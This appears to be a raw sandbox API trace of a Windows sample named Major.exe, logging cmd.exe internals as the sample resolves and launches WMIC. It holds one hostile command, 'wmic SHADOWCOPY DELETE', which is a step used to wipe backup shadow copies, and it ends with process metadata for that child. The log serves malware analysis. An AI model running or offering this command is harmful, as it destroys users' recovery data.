Locale=0x409, LCType=0x1e, lpLCData=0x7ff6a7efbb78, cchData=8 | out: lpLCData=":") returned 2 [0087.062] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3cfabdf9e0, cchData=128 | out: lpLCData="0") returned 2 [0087.062] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3cfabdf9e0, cchData=128 | out: lpLCData="0") returned 2 [0087.062] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3cfabdf9e0, cchData=128 | out: lpLCData="1") returned 2 [0087.062] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff6a7efbb68, cchData=8 | out: lpLCData="/") returned 2 [0087.062] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff6a7efbb00, cchData=32 | out: lpLCData="Mon") returned 4 [0087.062] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff6a7efbac0, cchData=32 | out: lpLCData="Tue") returned 4 [0087.062] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff6a7efba80, cchData=32 | out: lpLCData="Wed") returned 4 [0087.062] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff6a7efba40, cchData=32 | out: lpLCData="Thu") returned 4 [0087.062] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff6a7efba00, cchData=32 | out: lpLCData="Fri") returned 4 [0087.062] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff6a7efb9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0087.062] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff6a7efb980, cchData=32 | out: lpLCData="Sun") returned 4 [0087.062] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff6a7efbb58, cchData=8 | out: lpLCData=".") returned 2 [0087.062] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff6a7efbb40, cchData=8 | out: lpLCData=",") returned 2 [0087.062] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0087.064] GetProcessHeap () returned 0x1a9adb50000 [0087.064] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x0, Size=0x20c) returned 0x1a9adb51030 [0087.064] GetConsoleTitleW (in: lpConsoleTitle=0x1a9adb51030, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\Major.exe") returned 0x22 [0087.081] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0087.081] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0087.081] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0087.081] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0087.081] ??_V@YAXPEAX@Z () returned 0x1 [0087.082] GetProcessHeap () returned 0x1a9adb50000 [0087.082] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0x4012) returned 0x1a9adb59f60 [0087.082] GetProcessHeap () returned 0x1a9adb50000 [0087.082] RtlFreeHeap (HeapHandle=0x1a9adb50000, Flags=0x0, BaseAddress=0x1a9adb59f60) returned 1 [0087.082] _wcsicmp (_String1="wmic", _String2=")") returned 78 [0087.082] _wcsicmp (_String1="FOR", _String2="wmic") returned -17 [0087.082] _wcsicmp (_String1="FOR/?", _String2="wmic") returned -17 [0087.082] _wcsicmp (_String1="IF", _String2="wmic") returned -14 [0087.082] _wcsicmp (_String1="IF/?", _String2="wmic") returned -14 [0087.082] _wcsicmp (_String1="REM", _String2="wmic") returned -5 [0087.082] _wcsicmp (_String1="REM/?", _String2="wmic") returned -5 [0087.082] GetProcessHeap () returned 0x1a9adb50000 [0087.082] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0xb0) returned 0x1a9adb51250 [0087.082] GetProcessHeap () returned 0x1a9adb50000 [0087.082] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0x1a) returned 0x1a9adb51310 [0087.083] GetProcessHeap () returned 0x1a9adb50000 [0087.083] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0x36) returned 0x1a9adb51340 [0087.083] GetConsoleTitleW (in: lpConsoleTitle=0x3cfabdf8d0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\Major.exe") returned 0x22 [0087.101] malloc (_Size=0xffce) returned 0x1a9add60060 [0087.102] ??_V@YAXPEAX@Z () returned 0x1a9add60060 [0087.102] malloc (_Size=0xffce) returned 0x1a9add70040 [0087.102] ??_V@YAXPEAX@Z () returned 0x1a9add70040 [0087.102] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0087.102] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0087.103] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0087.103] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0087.103] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0087.103] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0087.103] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0087.103] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0087.103] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0087.103] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0087.103] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0087.103] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0087.103] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0087.103] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0087.103] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0087.103] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0087.103] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0087.103] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0087.103] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0087.103] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0087.103] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0087.103] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0087.103] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0087.103] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0087.103] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0087.103] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0087.103] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0087.103] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0087.103] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0087.103] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0087.103] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0087.103] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0087.103] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0087.103] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0087.103] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0087.103] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0087.103] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0087.103] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0087.103] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0087.103] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0087.103] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0087.103] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0087.103] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0087.103] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0087.103] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0087.103] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0087.103] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0087.104] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0087.104] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0087.104] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0087.104] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0087.104] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0087.104] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0087.104] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0087.104] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0087.104] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0087.104] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0087.104] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0087.104] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0087.104] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0087.104] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0087.104] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0087.104] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0087.104] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0087.104] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0087.104] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0087.104] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0087.104] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0087.104] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0087.104] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0087.104] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0087.104] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0087.104] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0087.104] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0087.104] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0087.104] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0087.104] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0087.104] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0087.104] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0087.104] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0087.104] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0087.104] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0087.104] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0087.104] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0087.104] _wcsicmp (_String1="wmic", _String2="FOR") returned 17 [0087.104] _wcsicmp (_String1="wmic", _String2="IF") returned 14 [0087.104] _wcsicmp (_String1="wmic", _String2="REM") returned 5 [0087.214] ??_V@YAXPEAX@Z () returned 0x1 [0087.214] GetProcessHeap () returned 0x1a9adb50000 [0087.214] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0xffde) returned 0x1a9adb59f60 [0087.215] GetProcessHeap () returned 0x1a9adb50000 [0087.215] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0x40) returned 0x1a9adb51380 [0087.215] _wcsnicmp (_String1="wmic", _String2="cmd ", _MaxCount=0x4) returned 20 [0087.215] malloc (_Size=0xffce) returned 0x1a9add70040 [0087.215] ??_V@YAXPEAX@Z () returned 0x1a9add70040 [0087.215] GetProcessHeap () returned 0x1a9adb50000 [0087.215] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0x1ffac) returned 0x1a9adb69f50 [0087.217] SetErrorMode (uMode=0x0) returned 0x0 [0087.217] SetErrorMode (uMode=0x1) returned 0x0 [0087.217] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1a9adb69f60, lpFilePart=0x3cfabdf150 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x3cfabdf150*="Desktop") returned 0x17 [0087.217] SetErrorMode (uMode=0x0) returned 0x1 [0087.217] GetProcessHeap () returned 0x1a9adb50000 [0087.217] RtlReAllocateHeap (Heap=0x1a9adb50000, Flags=0x0, Ptr=0x1a9adb69f50, Size=0x4a) returned 0x1a9adb69f50 [0087.217] GetProcessHeap () returned 0x1a9adb50000 [0087.217] RtlSizeHeap (HeapHandle=0x1a9adb50000, Flags=0x0, MemoryPointer=0x1a9adb69f50) returned 0x4a [0087.217] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0087.217] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0087.217] GetProcessHeap () returned 0x1a9adb50000 [0087.217] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0x1bc) returned 0x1a9adb513d0 [0087.217] GetProcessHeap () returned 0x1a9adb50000 [0087.217] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0x368) returned 0x1a9adb515a0 [0087.225] GetProcessHeap () returned 0x1a9adb50000 [0087.225] RtlReAllocateHeap (Heap=0x1a9adb50000, Flags=0x0, Ptr=0x1a9adb515a0, Size=0x1be) returned 0x1a9adb515a0 [0087.225] GetProcessHeap () returned 0x1a9adb50000 [0087.226] RtlSizeHeap (HeapHandle=0x1a9adb50000, Flags=0x0, MemoryPointer=0x1a9adb515a0) returned 0x1be [0087.226] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0087.226] GetProcessHeap () returned 0x1a9adb50000 [0087.226] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0xe8) returned 0x1a9adb51770 [0087.227] GetProcessHeap () returned 0x1a9adb50000 [0087.227] RtlReAllocateHeap (Heap=0x1a9adb50000, Flags=0x0, Ptr=0x1a9adb51770, Size=0x7e) returned 0x1a9adb51770 [0087.227] GetProcessHeap () returned 0x1a9adb50000 [0087.227] RtlSizeHeap (HeapHandle=0x1a9adb50000, Flags=0x0, MemoryPointer=0x1a9adb51770) returned 0x7e [0087.227] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0087.227] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x3cfabdeec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cfabdeec0) returned 0xffffffffffffffff [0087.227] GetLastError () returned 0x2 [0087.227] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0087.228] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x3cfabdeec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cfabdeec0) returned 0xffffffffffffffff [0087.230] GetLastError () returned 0x2 [0087.230] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0087.230] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x3cfabdeec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cfabdeec0) returned 0xffffffffffffffff [0087.231] GetLastError () returned 0x2 [0087.231] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0087.231] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x3cfabdeec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cfabdeec0) returned 0xffffffffffffffff [0087.231] GetLastError () returned 0x2 [0087.231] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0087.231] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x3cfabdeec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cfabdeec0) returned 0x1a9adb51800 [0087.231] GetProcessHeap () returned 0x1a9adb50000 [0087.231] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x0, Size=0x28) returned 0x1a9adb51860 [0087.231] FindClose (in: hFindFile=0x1a9adb51800 | out: hFindFile=0x1a9adb51800) returned 1 [0087.231] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\WMIC.COM", fInfoLevelId=0x1, lpFindFileData=0x3cfabdeec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cfabdeec0) returned 0xffffffffffffffff [0087.231] GetLastError () returned 0x2 [0087.231] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\WMIC.EXE", fInfoLevelId=0x1, lpFindFileData=0x3cfabdeec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cfabdeec0) returned 0x1a9adb51800 [0087.231] GetProcessHeap () returned 0x1a9adb50000 [0087.231] RtlReAllocateHeap (Heap=0x1a9adb50000, Flags=0x0, Ptr=0x1a9adb51860, Size=0x8) returned 0x1a9adb51860 [0087.231] FindClose (in: hFindFile=0x1a9adb51800 | out: hFindFile=0x1a9adb51800) returned 1 [0087.232] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0087.232] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0087.232] ??_V@YAXPEAX@Z () returned 0x1 [0087.232] GetConsoleTitleW (in: lpConsoleTitle=0x3cfabdf440, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\Major.exe") returned 0x22 [0087.314] InitializeProcThreadAttributeList (in: lpAttributeList=0x3cfabdf360, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3cfabdf250 | out: lpAttributeList=0x3cfabdf360, lpSize=0x3cfabdf250) returned 1 [0087.314] UpdateProcThreadAttribute (in: lpAttributeList=0x3cfabdf360, dwFlags=0x0, Attribute=0x60001, lpValue=0x3cfabdf23c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3cfabdf360, lpPreviousValue=0x0) returned 1 [0087.315] GetStartupInfoW (in: lpStartupInfo=0x3cfabdf2f0 | out: lpStartupInfo=0x3cfabdf2f0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0087.315] GetProcessHeap () returned 0x1a9adb50000 [0087.315] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0x20) returned 0x1a9adb51800 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0087.315] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0087.316] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0087.316] GetProcessHeap () returned 0x1a9adb50000 [0087.316] RtlFreeHeap (HeapHandle=0x1a9adb50000, Flags=0x0, BaseAddress=0x1a9adb51800) returned 1 [0087.316] GetProcessHeap () returned 0x1a9adb50000 [0087.316] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0x12) returned 0x1a9adb51800 [0087.316] lstrcmpW (lpString1="\\WMIC.exe", lpString2="\\XCOPY.EXE") returned -1 [0087.317] _get_osfhandle (_FileHandle=1) returned 0xc [0087.317] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0087.360] _get_osfhandle (_FileHandle=0) returned 0x8 [0087.360] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1f7) returned 1 [0087.367] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\System32\\Wbem\\WMIC.exe", lpCommandLine="wmic SHADOWCOPY DELETE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x3cfabdf280*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wmic SHADOWCOPY DELETE", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3cfabdf258 | out: lpCommandLine="wmic SHADOWCOPY DELETE", lpProcessInformation=0x3cfabdf258*(hProcess=0x9c, hThread=0x98, dwProcessId=0x738, dwThreadId=0xf30)) returned 1 [0088.841] CloseHandle (hObject=0x98) returned 1 [0088.841] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0088.841] GetProcessHeap () returned 0x1a9adb50000 [0088.841] RtlFreeHeap (HeapHandle=0x1a9adb50000, Flags=0x0, BaseAddress=0x1a9adb593d0) returned 1 [0088.841] GetEnvironmentStringsW () returned 0x1a9adb593d0* [0088.841] GetProcessHeap () returned 0x1a9adb50000 [0088.841] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0xb7e) returned 0x1a9adb55e00 [0088.841] FreeEnvironmentStringsA (penv="=") returned 1 [0088.842] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0 [0103.825] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0x3cfabdf1d8 | out: lpExitCode=0x3cfabdf1d8*=0x80041014) returned 1 [0103.826] CloseHandle (hObject=0x9c) returned 1 [0103.826] _vsnwprintf (in: _Buffer=0x3cfabdf3a8, _BufferCount=0x13, _Format="%08X", _ArgList=0x3cfabdf1e8 | out: _Buffer="80041014") returned 8 [0103.826] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="80041014") returned 1 [0103.826] GetProcessHeap () returned 0x1a9adb50000 [0103.826] RtlFreeHeap (HeapHandle=0x1a9adb50000, Flags=0x0, BaseAddress=0x1a9adb55e00) returned 1 [0103.826] GetEnvironmentStringsW () returned 0x1a9adb58840* [0103.826] GetProcessHeap () returned 0x1a9adb50000 [0103.826] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0xba4) returned 0x1a9adb69fb0 [0103.827] FreeEnvironmentStringsA (penv="=") returned 1 [0103.827] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0103.827] GetProcessHeap () returned 0x1a9adb50000 [0103.827] RtlFreeHeap (HeapHandle=0x1a9adb50000, Flags=0x0, BaseAddress=0x1a9adb69fb0) returned 1 [0103.827] GetEnvironmentStringsW () returned 0x1a9adb58840* [0103.827] GetProcessHeap () returned 0x1a9adb50000 [0103.827] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0xba4) returned 0x1a9adb69fb0 [0103.828] FreeEnvironmentStringsA (penv="=") returned 1 [0103.828] GetProcessHeap () returned 0x1a9adb50000 [0103.828] RtlFreeHeap (HeapHandle=0x1a9adb50000, Flags=0x0, BaseAddress=0x1a9adb51800) returned 1 [0103.828] DeleteProcThreadAttributeList (in: lpAttributeList=0x3cfabdf360 | out: lpAttributeList=0x3cfabdf360) [0103.828] ??_V@YAXPEAX@Z () returned 0x1 [0103.828] _get_osfhandle (_FileHandle=1) returned 0xc [0103.828] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0103.830] _get_osfhandle (_FileHandle=1) returned 0xc [0103.830] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff6a7effc08 | out: lpMode=0x7ff6a7effc08) returned 1 [0103.831] _get_osfhandle (_FileHandle=1) returned 0xc [0103.831] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0103.832] _get_osfhandle (_FileHandle=0) returned 0x8 [0103.832] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff6a7effc0c | out: lpMode=0x7ff6a7effc0c) returned 1 [0103.834] SetConsoleInputExeNameW () returned 0x1 [0103.834] GetConsoleOutputCP () returned 0x1b5 [0103.837] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a7effbb0 | out: lpCPInfo=0x7ff6a7effbb0) returned 1 [0103.837] SetThreadUILanguage (LangId=0x0) returned 0x409 [0103.842] exit (_Code=-2147217388) Thread: id = 18 os_tid = 0xf6c Process: id = "9" image_name = "wmic.exe" filename = "c:\\windows\\system32\\wbem\\wmic.exe" page_root = "0x72e4d000" os_pid = "0x738" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x9b0" cmd_line = "wmic SHADOWCOPY DELETE" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" 